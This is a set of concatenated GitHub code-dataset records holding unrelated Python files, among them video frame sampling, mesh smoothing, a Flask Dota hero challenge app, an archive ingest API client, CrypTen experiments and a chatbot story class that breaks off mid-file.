/ frequency)\n\n frames_taken = 0\n count = 0\n success, frame = video.read()\n\n while success:\n processed_frame = get_processed_frame(frame)\n frames.append(processed_frame)\n\n frames_taken += 1\n count += frequency\n video.set(cv2.CAP_PROP_POS_FRAMES, count)\n success, frame = video.read()\n\n # for i in range(0, n, sample_frequency):\n # # index = sliding_window(video, sample_frequency, i)\n # video.set(cv2.CAP_PROP_POS_FRAMES, i)\n # success, frame = video.read()\n # if success:\n # count += 1\n # processed_frame = get_processed_frame(frame)\n # frames.append(processed_frame)\n # # show(processed_frame)\n\n print(\"Frames extracted from video:\", frames_taken)\n return frames\n pass\n\n\ndef sliding_window(video, frequency, fr):\n total = video.get(cv2.CAP_PROP_FRAME_COUNT)\n left = 0\n right = total\n\n left_fr = fr - (frequency // 3)\n right_fr = fr + (frequency // 3)\n\n if left_fr > 0:\n left = left_fr\n\n if right_fr < total - 1:\n right = right_fr\n\n index = left + 1\n lowest = left\n smallest = None\n video.set(1, left)\n success, curr_frame = video.read()\n\n while index < right:\n video.set(1, index)\n last_frame = np.copy(curr_frame)\n success, curr_frame = video.read()\n if success:\n diff = last_frame - curr_frame\n if smallest is None or np.sum(diff) < smallest:\n lowest = index\n smallest = np.sum(diff)\n else:\n break\n\n index += 1\n\n return lowest\n pass\n\n\n","repo_name":"tkrajtmajer/Geolocation-Prediction-via-Landmarks","sub_path":"processing.py","file_name":"processing.py","file_ext":"py","file_size_in_byte":2442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"37128046451","text":"# Smooth a mesh with the Laplacian operator\n\n# Import geometry processing library\nimport geomproc\n\n# Import numpy for data arrays\nimport numpy as np\n\n# Load the mesh\ntm = geomproc.load('meshes/bunny.obj')\ntm.normalize()\n\n# Compute connectivity information\ntm.compute_connectivity()\n\n# Perform smoothing with different operators\nlap_types = ['uniform', 'geometric']\nfor j in range(len(lap_types)):\n # Build operator\n if j == 0:\n L = tm.uniform_laplacian()\n else:\n [L, negative, boundary] = tm.geometric_laplacian()\n\n # Apply operator\n num_iterations = 20\n for i in range(num_iterations):\n tm.vertex += np.dot(L, tm.vertex)\n\n # Save resulting mesh\n tm.save('output/bunny_smooth_' + lap_types[j] + '.obj')\n","repo_name":"ovankaic/GeomProc","sub_path":"test_smoothing_with_operator.py","file_name":"test_smoothing_with_operator.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"9503285058","text":"n=int(input())\ntemp=0\nr=0\ntemp1=0\nwhile(n>0):\n rem=n%10\n temp=temp*10+rem\n r=r+rem\n n=n//10 \nc=r \nwhile(r>0):\n w=r%10\n temp1=temp1*10+w\n r=r//10\nif(temp1==c):\n print(\"YES\")\nelse:\n print(\"NO\") \n","repo_name":"Gayathri200/gaya04","sub_path":"hun40.py","file_name":"hun40.py","file_ext":"py","file_size_in_byte":205,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"28450918677","text":"import unittest\nimport main\n\nclass testMethods(unittest.TestCase):\n\n def testDisplayChoices(self):\n choices = [\"this is a choice\", \"this is another choice\", \"don't pick this, its garbo\", \"even more choice\"]\n main.display_choices(choices)\n\n def testGetChoice(self):\n choices = [\"this is a choice\", \"this is another choice\", \"don't pick this, its garbo\", \"even more choice\"]\n choice = main.get_choice(choices)\n print('your choice was' + choice)\n","repo_name":"akrainio/Dynamic-Dialogue-Tree","sub_path":"tests/testmain.py","file_name":"testmain.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"18525122655","text":"\"\"\"\n\n给定两个整数 n 和 k,返回范围 [1, n] 中所有可能的 k 个数的组合。\n\n你可以按 任何顺序 返回答案。\n\n \n\n示例 1:\n\n输入:n = 4, k = 2\n输出:\n[\n [2,4],\n [3,4],\n [2,3],\n [1,2],\n [1,3],\n [1,4],\n]\n示例 2:\n\n输入:n = 1, k = 1\n输出:[[1]]\n\n\n\"\"\"\n\nres = []\npath = []\n\n\ndef backtrack(n, k, StartIndex):\n if len(path) == k:\n res.append(path[:])\n return\n for i in range(StartIndex, n - (k - len(path)) + 2):\n path.append(i)\n backtrack(n, k, i + 1)\n path.pop()\n\n\n backtrack(n, k, 1)\n return res","repo_name":"mjw3177109/python-opencv","sub_path":"算法面试知识链/排序算法/dfs组合.py","file_name":"dfs组合.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"10716496501","text":"import turtle\r\na=turtle.Turtle()\r\na.pencolor(\"red\")\r\na.begin_fill()\r\na.fillcolor(\"Red\")\r\na.forward(150)\r\na.left(215)\r\na.fd(170)\r\na.right(150)\r\na.fd(170)\r\na.left(220)\r\na.fd(170)\r\na.left(215)\r\na.fd(169)\r\na.hideturtle()\r\na.end_fill()","repo_name":"AyushUpadhyay08/Graphical-Star-","sub_path":"module2.py","file_name":"module2.py","file_ext":"py","file_size_in_byte":230,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"1106511925","text":"import json\nimport logging\nimport os\nfrom typing import Iterator, List\nfrom urllib.parse import urlparse\n\nimport requests\nfrom ingest.utils.s2s_token_client import S2STokenClient\nfrom ingest.utils.token_manager import TokenManager\nfrom requests import adapters\nfrom urllib3.util import retry\n\nimport config\n\n\nclass IngestAPI:\n def __init__(self, url=None):\n self.logger = logging.getLogger(__name__)\n self.headers = {\n 'Content-type': 'application/json',\n }\n self.url = url if url else config.INGEST_API_URL\n self.url = self.url.rstrip('/')\n self.logger.info(f'Using {self.url}')\n self.entity_cache = {}\n self.cache_enabled = True\n\n retry_policy = retry.Retry(\n total=100, # seems that this has a default value of 10,\n # setting this to a very high number so that it'll respect the status retry count\n status=17, # status is the no. of retries if response is in status_forcelist,\n # this count will retry for ~20mins with back off timeout within\n read=10,\n status_forcelist=[500, 502, 503, 504],\n backoff_factor=0.6)\n\n self.session = requests.Session()\n adapter = requests.adapters.HTTPAdapter(max_retries=retry_policy)\n self.session.mount('https://', adapter)\n\n if os.environ.get('INGEST_API_GCP'):\n token_client = S2STokenClient()\n token_client.setup_from_env_var('INGEST_API_GCP')\n self.token_manager = TokenManager(token_client)\n else:\n self.token_manager = False\n\n def set_token(self, token):\n self.token = token\n self.headers['Authorization'] = self.token\n self.logger.debug(f'Token set!')\n\n return self.headers\n\n def get_headers(self):\n # refresh token\n if self.token_manager:\n self.set_token(f'Bearer {self.token_manager.get_token()}')\n self.logger.debug(f'Token refreshed!')\n\n return self.headers\n\n def get_related_entity(self, entity, relation, related_entity_type) -> Iterator['dict']:\n related_entity_uri = self._get_link(entity, relation)\n related_entities = self._get_all(related_entity_uri, related_entity_type)\n return related_entities\n\n def get_related_entity_count(self, entity, relation, entity_type) -> int:\n if relation in entity[\"_links\"]:\n entity_uri = entity[\"_links\"][relation][\"href\"]\n result = self.get(entity_uri)\n page = result.get('page')\n if page:\n return page.get('totalElements')\n return len(result[\"_embedded\"][entity_type])\n\n def get_submission_by_id(self, submission_id):\n get_submission_url = self.url + '/submissionEnvelopes/' + submission_id\n\n response = self.session.get(get_submission_url, headers=self.get_headers())\n\n submission = None\n\n if response.ok:\n submission = response.json()\n\n return submission\n\n def get_concrete_entity_type(self, entity):\n content = entity.get('content')\n schema_url = content.get('describedBy')\n response = self.session.get(schema_url, headers=self.get_headers())\n schema = self._handle_response(response)\n\n return schema.get('name')\n\n def get_entity_by_uuid(self, entity_type, uuid):\n entity_url = f'{self.url}/{entity_type}/search/findByUuid?uuid={uuid}'\n return self.get_entity(entity_url)\n\n def get_entity_by_id(self, entity_type, entity_id):\n entity_url = f'{self.url}/{entity_type}/{entity_id}'\n return self.get_entity(entity_url)\n\n def get_entity(self, entity_url):\n entity_json = self._get_cached_entity(entity_url)\n if not entity_json:\n response = self.session.get(entity_url, headers=self.get_headers())\n entity_json = self._handle_response(response)\n self._cache_entity(entity_url, entity_json)\n return entity_json\n\n def patch_entity_by_id(self, entity_type, entity_id, entity_patch):\n entity_url = f'{self.url}/{entity_type}/{entity_id}'\n patch = json.dumps(entity_patch)\n response = self.session.patch(entity_url, patch, headers=self.get_headers())\n entity_json = self._handle_response(response)\n self._cache_entity(entity_url, entity_json)\n return entity_json\n\n def _get_cached_entity(self, url):\n if self.cache_enabled and self.entity_cache.get(url):\n return self.entity_cache.get(url)\n\n def _cache_entity(self, url, entity_json):\n if self.cache_enabled and not self.entity_cache.get(url):\n self.entity_cache[url] = entity_json\n\n def get_submission_by_uuid(self, submission_uuid):\n entity_url = f'{self.url}/submissionEnvelopes/search/findByUuidUuid?uuid={submission_uuid}'\n return self.get_entity(entity_url)\n\n def get_biomaterial_by_uuid(self, biomaterial_uuid):\n return self.get_entity_by_uuid('biomaterials', biomaterial_uuid)\n\n def get_project_by_uuid(self, project_uuid):\n return self.get_entity_by_uuid('projects', project_uuid)\n\n def get_file_by_uuid(self, file_uuid):\n return self.get_entity_by_uuid('files', file_uuid)\n\n def get_manifest_by_id(self, manifest_id):\n return self.get_entity_by_id('bundleManifests', manifest_id)\n\n def get_manifests_from_project(self, project_uuid, bundle_type=\"PRIMARY\"):\n entity_url = f'{self.url}/projects/search/findBundleManifestsByProjectUuidAndBundleType' + \\\n f'?projectUuid={project_uuid}&bundleType={bundle_type}'\n return self._get_all(entity_url, 'bundleManifests')\n\n def get_manifest_ids_from_project(self, project_uuid):\n manifests = self.get_manifests_from_project(project_uuid, \"PRIMARY\")\n return self.get_manifest_ids(manifests)\n\n def get_manifest_ids_from_submission(self, submission_uuid):\n manifests = self.get_manifests_from_submission(submission_uuid)\n return self.get_manifest_ids(manifests)\n\n def get_manifest_ids(self, manifests: List['dict']):\n return [self.get_entity_id(manifest, 'bundleManifests') for manifest in manifests]\n\n def get_manifests_from_submission(self, submission_uuid):\n entity_url = f'{self.url}/bundleManifests/search/findByEnvelopeUuid?uuid={submission_uuid}'\n return self._get_all(entity_url, 'bundleManifests')\n\n def set_submission_status_archived(self, submission_uuid):\n submission_json = self.get_submission_by_uuid(submission_uuid)\n if submission_json:\n commit_archived_link = submission_json.get(\"_links\", {}).get(\"archived\", {}).get(\"href\", \"\")\n self.put(commit_archived_link)\n\n def get_entity_id(self, entity, entity_type):\n entity_base = f'{self.url}/{entity_type}/'\n entity_uri = self._get_link(entity, 'self')\n entity_id = str.replace(entity_uri, entity_base, '').strip('/')\n return entity_id\n\n def entity_info_from_url(self, url):\n parsed_url = urlparse(url)\n location = parsed_url.path.strip('/')\n entity_type = location.split('/')[0]\n entity_id = location.split('/')[1]\n return entity_type, entity_id\n\n @staticmethod\n def _handle_response(response):\n response.raise_for_status()\n return response.json()\n\n @staticmethod\n def _get_link(entity, link_name):\n link = entity['_links'][link_name]\n return link['href'].rsplit(\"{\")[0] if link else ''\n\n def _get_all(self, url, entity_type):\n r = self.session.get(url, headers=self.get_headers())\n r.raise_for_status()\n if \"_embedded\" in r.json():\n for entity in r.json()[\"_embedded\"][entity_type]:\n yield entity\n while \"next\" in r.json()[\"_links\"]:\n r = self.session.get(r.json()[\"_links\"][\"next\"][\"href\"], headers=self.get_headers())\n for entity in r.json()[\"_embedded\"][entity_type]:\n yield entity\n\n def create_archive_submission(self, archive_submission):\n url = f'{self.url}/archiveSubmissions/'\n return self.post(url, archive_submission)\n\n def create_archive_entity(self, archive_submission_url, archive_entity):\n url = f'{archive_submission_url}/entities'\n return self.post(url, archive_entity)\n\n def get_archive_submission_by_dsp_uuid(self, dsp_uuid):\n url = f'{self.url}/archiveSubmissions/search/findByDspUuid?dspUuid={dsp_uuid}'\n return self.get(url)\n\n def get_latest_archive_submission_by_submission_uuid(self, submission_uuid):\n search_url = f'{self.url}/archiveSubmissions/search/findBySubmissionUuid'\n params = {\n \"submissionUuid\": submission_uuid,\n \"sort\": \"created,desc\"\n }\n data = self.get(search_url, params=params)\n archive_submissions = data['_embedded']['archiveSubmissions']\n archive_submission = archive_submissions[0] if len(archive_submissions) > 0 else None\n return archive_submission\n\n def get_archive_entity_by_dsp_uuid(self, dsp_uuid):\n url = f'{self.url}/archiveEntities/search/findByDspUuid?dspUuid={dsp_uuid}'\n return self.get(url)\n\n def get_archive_entity_by_archive_submission_url_and_alias(self, archive_submission_url: str, alias: str):\n url = f'{self.url}/archiveEntities/search/findByArchiveSubmissionAndAlias'\n return self.get(url, params={'archiveSubmission': archive_submission_url, 'alias': alias})\n\n def create_archive_job(self, payload):\n url = f'{self.url}/archiveJobs'\n return self.post(url, payload)\n\n def get(self, url, **kwargs):\n r = self.session.get(url, headers=self.headers, **kwargs)\n r.raise_for_status()\n return r.json()\n\n def post(self, url, content):\n r = self.session.post(url, json=content, headers=self.headers)\n r.raise_for_status()\n return r.json()\n\n def patch(self, url, patch):\n r = self.session.patch(url, json=patch, headers=self.headers)\n r.raise_for_status()\n return r.json()\n\n def put(self, url):\n r = self.session.put(url, headers=self.headers)\n r.raise_for_status()\n return r.json()\n\n def delete(self, url):\n r = self.session.delete(url, headers=self.headers)\n r.raise_for_status()\n return r.json()\n","repo_name":"ebi-ait/ingest-archiver","sub_path":"api/ingest.py","file_name":"ingest.py","file_ext":"py","file_size_in_byte":10390,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"21903308113","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@Version: 0.1\n@Author: Charles\n@Time: 2022/10/29 0:31\n@File: run.py\n@Desc: 参考:https://github.com/649453932/Chinese-Text-Classification-Pytorch\n\"\"\"\nimport json\nimport os\nos.environ['CUDA_VISIBLE_DEVICES'] = '1'\nimport time\nimport torch\nimport numpy as np\nfrom train import train\nfrom importlib import import_module\nfrom dataset import MyDataset, build_vocab, dataset_collect\nfrom torch.utils.data import DataLoader\nimport pickle as pkl\nfrom utils import get_time_dif\n\n\nif __name__ == '__main__':\n\n model_name = 'bert' # transformer, bert\n\n x = import_module('models.' + model_name)\n config = x.Config()\n np.random.seed(1)\n torch.manual_seed(1)\n torch.cuda.manual_seed_all(1)\n torch.backends.cudnn.deterministic = True # 保证每次结果一样\n\n start_time = time.time()\n print(\"Loading data...\", flush=True)\n if os.path.exists(config.vocab_path):\n vocab = pkl.load(open(config.vocab_path, 'rb'))\n else:\n vocab = build_vocab(config.train_path)\n pkl.dump(vocab, open(config.vocab_path, 'wb'))\n print(f\"Vocab size: {len(vocab)}\", flush=True)\n train_dataset = MyDataset(config.train_path, vocab, config)\n test_dataset = MyDataset(config.test_path, vocab, config)\n train_dataloader = DataLoader(train_dataset, batch_size=config.batch_size, collate_fn=dataset_collect, shuffle=True)\n test_dataloader = DataLoader(test_dataset, batch_size=config.batch_size, collate_fn=dataset_collect, shuffle=False)\n time_dif = get_time_dif(start_time)\n print(\"Train Dataset: {}, Dataloader: {}, Test Dataset: {}, Dataloader: {}, Time usage:\".format(\n len(train_dataset), len(train_dataloader), len(test_dataset), len(test_dataloader), time_dif), flush=True)\n # train\n config.n_vocab = len(vocab)\n bert_config = None\n if model_name == 'bert':\n from transformers import BertConfig\n bert_config = BertConfig(\n vocab_size=len(vocab),\n hidden_size=config.hidden_size,\n num_hidden_layers=config.num_hidden_layers,\n num_attention_heads=config.num_attention_heads,\n intermediate_size=config.intermediate_size,\n hidden_dropout_prob=config.hidden_dropout_prob,\n attention_probs_dropout_prob=config.attention_probs_dropout_prob,\n max_position_embeddings=config.max_position_embeddings\n )\n with open(os.path.join(config.output_dir, 'config.json'), 'w', encoding='utf-8') as f:\n f.write(json.dumps(vars(bert_config), indent=2, ensure_ascii=False))\n model = x.Model(**{'config': config, 'bert_config': bert_config})\n\n # print(model.parameters, flush=True)\n print('Begin Train ...', flush=True)\n train(config, model, train_dataloader, test_dataloader)\n","repo_name":"CharlesWu123/TextClassification","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":2786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"69982675443","text":"from flask import render_template, send_file, abort\nfrom app import app, db, mem_cache\nfrom app.models import Challenge, ChallengeHero, Hero\nfrom app.users.models import User\nfrom flask.ext.login import current_user\nfrom random import sample\nfrom datetime import datetime, timedelta\nimport os\nimport requests\n\n\n@app.before_request\ndef update_heroes():\n _updated_key = 'hero_info_updated'\n _lock_key = 'hero_info_update_lock'\n # If the last-updated key has expired, and the lock is not set (the lock will be set if another request\n # beat this one to the job)\n if not mem_cache.get(_updated_key) and not mem_cache.get(_lock_key):\n # Set lock before doing expensive task.\n mem_cache.set(_lock_key, True, timeout=app.config['UPDATE_HEROES_TIMEOUT']) # Timeout in case the app crashes before it releases the lock.\n\n # Update hero data \n Hero.update_heroes_from_webapi()\n \n # Set key to say we've updated the data. We'll re-run this process when this key expires\n mem_cache.set(_updated_key, True, timeout=app.config['UPDATE_HEROES_TIMEOUT']) # 1 hour timeout\n \n # Release the lock\n mem_cache.delete(_lock_key)\n\n\n# Routes\n@app.route('/')\ndef index():\n current_challenge = None\n random_heroes = None\n\n # If authed, get or create challenge\n if current_user.is_authenticated():\n current_challenge = current_user.get_active_challenge()\n\n if not current_challenge:\n current_challenge = Challenge(current_user.id)\n db.session.add(current_challenge)\n db.session.commit()\n # If not authed, get 10 random hiroshimas\n else:\n random_heroes = []\n for hero in sample(Hero.query.all(), app.config['CHALLENGE_HERO_COUNT']):\n mock_challenge_hero = ChallengeHero()\n mock_challenge_hero.hero = hero\n random_heroes.append(mock_challenge_hero)\n\n return render_template(\n \"index.html\",\n current_challenge=current_challenge,\n random_heroes=random_heroes\n )\n\n\n@app.route('/leaderboard')\ndef leaderboard():\n \"\"\" Global leader board. Going by ChallengeHeroes completed in last 30 days for now. \"\"\"\n\n winners = db.session.query(db.func.count(ChallengeHero), User).\\\n filter(ChallengeHero.completed == True,\n Challenge.start_at >= (datetime.now() - timedelta(days=30))).\\\n join(ChallengeHero.challenge).\\\n join(Challenge.user).\\\n order_by(db.func.count(ChallengeHero).desc()).\\\n group_by(Challenge.user_id).\\\n all()\n\n return render_template(\n \"leaderboard.html\",\n winners=winners\n )\n\n\n@app.route('/static/img/heroes/.png')\ndef hero_image(hero_name):\n \"\"\" Attempts to serve a hero's image from the filesystem, downloading and saving the file if possible.\n The file should be served by nginx, but will fall back to this code if nginx throws 404. \"\"\"\n local_path = os.path.join(\n app.static_folder,\n \"img/heroes/{}.png\".format(hero_name)\n )\n volvo_path = \"http://media.steampowered.com/apps/dota2/images/heroes/{}_full.png\".format(hero_name)\n\n # If we already have on disk, serve it.\n if os.path.exists(local_path):\n return send_file(local_path)\n\n # Otherwise fetch, save to disk, then serve it.\n with open(local_path, 'w') as f:\n req = requests.get(volvo_path, stream=True)\n if req.ok:\n for block in req.iter_content(1024):\n f.write(block)\n return send_file(local_path)\n\n # If all of the above fails, throw 404.\n abort(404)\n\n\n@app.errorhandler(401) # Unauthorized\n@app.errorhandler(403) # Forbidden\n@app.errorhandler(404) # > Missing middle!\n@app.errorhandler(500) # Internal server error.\n# @app.errorhandler(Exception) # Internal server error.\ndef internalerror(error):\n \"\"\" Custom error page, will catch 401, 403, 404, and 500, and output a friendly error message. \"\"\"\n try:\n if error.code == 401:\n error.description = \"I'm sorry Dave, I'm afraid I can't do that. Try logging in.\"\n elif error.code == 403:\n if current_user.is_authenticated():\n error.description = \"I'm sorry {{ current_user.name }}, I'm afraid I can't do that. You do not have access to this resource.

\"\n else:\n # Shouldn't output 403 unless the user is logged in.\n error.description = \"Hacker.\"\n except AttributeError:\n # Rollback the session\n db.session.rollback()\n\n # E500's don't populate the error object, so we do that here.\n error.code = 500\n error.name = \"Internal Server Error\"\n error.description = \"Whoops! Something went wrong server-side. Details of the problem has been sent to our developers for investigation.\"\n\n # Render the custom error page.\n return render_template(\"error.html\", error=error, title=error.name), error.code\n","repo_name":"Arcana/10herochallenge","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4970,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"42593959519","text":"import crypten\r\nimport crypten.mpc as mpc\r\nimport torch\r\nimport nets\r\nimport torch.functional as F\r\nimport crypten.communicator as comm\r\n\r\n@mpc.run_multiprocess(world_size=2)\r\ndef run():\r\n dummy_model = nets.Net6()\r\n plaintext_model = crypten.load('checkpoint.pth', dummy_model=dummy_model, src=0, map_location=torch.device('cpu'))\r\n #plaintext_model = crypten.load('checkpoint.pth', dummy_model=dummy_model, src=0)\r\n dummy_input = torch.empty((1, 1, 768))\r\n dummy_input.to('cuda')\r\n private_model = crypten.nn.from_pytorch(plaintext_model, dummy_input)\r\n private_model.encrypt()\r\n private_model.eval()\r\n input = torch.rand((1, 1, 768))\r\n input = crypten.cryptensor(input, src=0)\r\n classification = private_model(input)\r\n print(classification)\r\n print('done')\r\n\r\n@mpc.run_multiprocess(world_size=2)\r\ndef test_mp2d():\r\n dummy_model = nets.Net5()\r\n x_small = torch.rand(100, 1, 28, 28)\r\n y_small = torch.randint(1, (100,))\r\n label_eye = torch.eye(2)\r\n y_one_hot = label_eye[y_small]\r\n x_train = crypten.cryptensor(x_small, src=0)\r\n y_train = crypten.cryptensor(y_one_hot)\r\n #plaintext_model = crypten.load('models/CNN.pth', dummy_model=dummy_model, src=0, map_location=torch.device('cpu'))\r\n dummy_input = torch.empty((1, 1, 28, 28))\r\n private_model = crypten.nn.from_pytorch(dummy_model, dummy_input)\r\n private_model.encrypt()\r\n private_model.train()\r\n loss = crypten.nn.MSELoss()\r\n\r\n lr = 0.001\r\n num_epochs = 2\r\n for i in range(num_epochs):\r\n output = private_model(x_train)\r\n loss_value= loss(output, y_train)\r\n private_model.zero_grad()\r\n loss_value.backward()\r\n private_model.update_parameters(lr)\r\n print(\"Epoch: {0:d} Loss: {1:.4f}\".format(i, loss_value.get_plain_text()))\r\n print('done')\r\n\r\n@mpc.run_multiprocess(world_size=2)\r\ndef test_mp1d():\r\n x_small = torch.rand(10, 3, 28)\r\n mp = torch.nn.MaxPool1d(2, return_indices=True)\r\n res, ind = mp(x_small)\r\n print(ind)\r\n x_crypt = mpc.MPCTensor(x_small, ptype=mpc.arithmetic)\r\n\r\n \r\n\r\ncrypten.init()\r\ntorch.set_num_threads(1)\r\n# test_mp1d()\r\n#test_mp2d()\r\nrun()\r\n","repo_name":"SamuelDAdams/svmvscnn","sub_path":"importsvm.py","file_name":"importsvm.py","file_ext":"py","file_size_in_byte":2167,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"25708210974","text":"\"\"\"\nBasic unit tests for the environment class.\n\"\"\"\nimport unittest\nfrom eta.types import Environment, Symbol, Expression, EtaError\n\n\nclass EnvironmentTest(unittest.TestCase):\n def setUp(self):\n # Creating some dummy bindings, note these may not be valid Lisp expressions.\n # Used to test add_binding and lookup functions in the Environment.\n self.global_env = Environment()\n self.global_env.add_binding(Symbol('x'), True)\n self.global_env.add_binding(Symbol('y'), False)\n self.local_env = Environment()\n\n expr = Expression([Symbol('+'), 1, 2])\n self.local_env.add_binding(Symbol('ex'), expr)\n self.local_env.outer = self.global_env\n\n # create a symbol with the same name as an inner frame.\n expr2 = Expression([Symbol('+'), 2, 2])\n self.global_env.add_binding(Symbol('ex'), expr2)\n\n def test_local_lookup(self):\n self.assertEqual(self.local_env.lookup_binding('ex'), Expression(['+', 1, 2]))\n\n def test_lookup_uses_outer_scope(self):\n self.assertEqual(True, self.global_env.lookup_binding('x'))\n self.assertEqual(False, self.global_env.lookup_binding('y'))\n\n def test_lookup_global_scope(self):\n self.assertEqual(True, self.global_env.lookup_binding('x'))\n self.assertEqual(False, self.global_env.lookup_binding('y'))\n\n def test_unbound_symbol(self):\n val = self.local_env.lookup_binding('z')\n self.assertIsInstance(val, EtaError)\n\n\ndef make_suite():\n return unittest.makeSuite(EnvironmentTest, 'Environment test')\n\n\nif __name__ == '__main__':\n suite = make_suite()\n runner = unittest.TextTestRunner()\n runner.run(suite)\n","repo_name":"lewismj/eta","sub_path":"eta/t/test_environment.py","file_name":"test_environment.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"36749883414","text":"# Pending\n# Stories based on gender, age\n# BLack magic intensity shuttle...6\n# Long Poetry\n# Manual command to start a different topic. Or \n# Create 60 short stories. Total 20 stories and each story will have a happy, a neutral/sad and a curious version\n# Curious version will be used as a filler story to divert to a happy or sad story if user is not responding. or to change topic..\n# Each story is an intent type. This is becuase this will help UnivEncoder to match similarity to one story intent only.\n# Each story will have an opening intent\n# Each story intent will have a timeout intent, which will get triggered when timeout happens.\n# Create a structure or bag of keywords which will suggest that we need to switch stories now as \n# conversation is moving in a different direction. Like a key of words for a story and a probability indicator indicating where\n# current conversation is going. Over the conversation as probability grows, we will shift story.\n# need to knwo if a particular utterance has already been said. \n# Choose a different utterance based on the universal encoder output. next on universal encoder list.\n# A way to understand the progress of the story\n# restart chatbot when user goes away from camera\n# what is the next intent if current intent is already satisfied? or which sentence(or index) has bot spoken of. So that it is not repetive.\n\nimport pandas as pd\nimport numpy as np\nimport os\nimport math\nimport json\nimport tensorflow as tf\nimport tensorflow_hub as hub\nfrom random import randrange\nimport random\nimport string\n\n## kk code for eliza start ##\n#from nltk.chat.util import Chat\n#from nltk.chat.eliza import pairs\n## kk code for eliza stop ##\n\ndefault_intents = ['yes', 'no', 'maybe', 'okay']\nclass Story:\n def __init__(self, name, intents = {}, completion_status = 0, tone = \"happy\", starting_intent = {}, script = {}, keywords = [], timeout_intent = {}, utterances_said = [], transition_intent = {}):\n\n self.id = ''.join([random.choice(string.ascii_letters + string.digits) for n in range(15)]) \n self.name = name\n self.intents = intents\n\n self.completion_status = completion_status\n self.tone = tone\n self.keywords = keywords\n self.starting_intent = starting_intent\n self.script_intent = script\n self.timeout_intent = timeout_intent\n self.transition_intent = transition_intent\n self.utterances_said = utterances_said\n\n # What if the user wants to again start the story??? You should have an intent that this is what you can say about story and\n # now you shold tell him some other story...\n\n # transition intent will giv hint about two three different stories....\n # there will be two three transition intents...\n\n def create_timeout_intent(self, intent_name, weight, utterances = [], responses = []):\n if type(intent_name)==list: # Iterate over all the values in list\n for name in intent_name:\n self.add_intent(name, weight, utterances, responses)\n self.timeout_intent[intent_name] = self.intents[intent_name]\n\n else: # insert without iterating\n self.add_intent(intent_name, weight, utterances, responses)\n return intent_name\n\n def create_transition_intent(self, intent_name, weight, utterances = [], responses = []):\n if type(intent_name)==list: # Iterate over all the values in list\n for name in intent_name:\n self.add_intent(name, weight, utterances, responses)\n self.transition_intent[intent_name] = self.intents[intent_name]\n\n else: # insert without iterating\n self.add_intent(intent_name, weight, utterances, responses)\n return intent_name\n\n def create_starting_intent(self, intent_name, weight, utterances = [], responses = []):\n if type(intent_name)==list: # Iterate over all the values in list\n for name in intent_name:\n self.add_intent(name, weight, utterances, responses)\n self.starting_intent[intent_name] = self.intents[intent_name]\n\n else: # insert without iterating\n self.add_intent(intent_name, weight, utterances, responses)\n return intent_name\n\n def create_script_intent(self, intent_name, weight, utterances = [], responses = []):\n if type(intent_name)==list: # Iterate over all the values in list\n for name in intent_name:\n self.add_intent(name, weight, utterances, responses)\n self.script_intent[intent_name] = self.intents[intent_name]\n\n else: # insert without iterating\n self.add_intent(intent_name, weight, utterances, responses)\n return intent_name\n\n def add_intent(self, intent_name, weight, utterances, response): # Function to add intent if not already existing\n\n if not self.check_intent_name(intent_name):\n self.intents[intent_name] = Intent(intent_name, weight, utterances, response)\n else:\n print(\"Intent {0} already exists\".format(intent_name))\n\n def check_intent_name(self, intent_name): # Checking if an intent already exists\n if intent_name in self.intents.keys():\n return True\n\n else:\n return False\n\n def get_intent(self, utterance):\n for k, v in self.intents.items():\n if utterance in v.utterances:\n return k\n print(\"no intent matched\")\n\n######### Intents #########\nclass Intent:\n def __init__(self, name, weight, utterances = [], responses = []):\n\n self.name = name\n self.utterances = utterances\n self.responses = responses\n self.weight = weight\n\n def create_utterance(self, utterances):\n\n if type(utterances) == list:\n for utterance in utterances:\n self.utterances.append(utterance)\n\n else:\n self.utterances.append(utterances)\n\n def add_utterance(self, utterance):\n if not self.check_utterance(utterance):\n self.utterances.append(utterance)\n else:\n print(\"Utterance {0} already exists\".format(utterance))\n\n def check_utterance(self, utterance):\n if utterance in self.utterances: # Checking the utterance in the bag of utterances. If it exists in any intent, it will give an error\n return True\n else:\n return False\n\n def remove_utterance(self, utterances): # removes utterances\n if type(utterances) == list:\n for utterance in utterances:\n try:\n self.utterances.remove(utterance)\n except ValueError:\n print(\"'{0}' utterance doesnt exists\".format(utterance)) # throws exception if utterance does not exists\n\n else:\n try:\n self.utterances.remove(utterances)\n except ValueError:\n print(\"'{0}' utterance doesnt exists\".format(utterances))\n\n\n def create_response(self, responses):\n\n if type(responses) == list:\n for response in responses:\n self.responses.append(response)\n\n else:\n self.responses.append(responses)\n\n def add_response(self, response,r):\n if not self.check_response(r):\n self.responses.append(r)\n else:\n print(\"Response {0} already exists\".format(r))\n\n def check_response(self, response):\n if response in self.responses: # Checking the response in responses. If it exists in any intent, it will give an error\n return True\n else:\n return False\n\n def remove_response(self, responses): # removes responses\n if type(responses) == list:\n for response in responses:\n try:\n self.responses.remove(response)\n except ValueError:\n print(\"'{0}' response doesnt exists\".format(response)) # throws exception if response does not exists\n\n else:\n try:\n self.responses.remove(response)\n except ValueError:\n print(\"'{0}' response doesnt exists\".format(responses))\n\n\nclass Chatbot:\n\n \n\n def 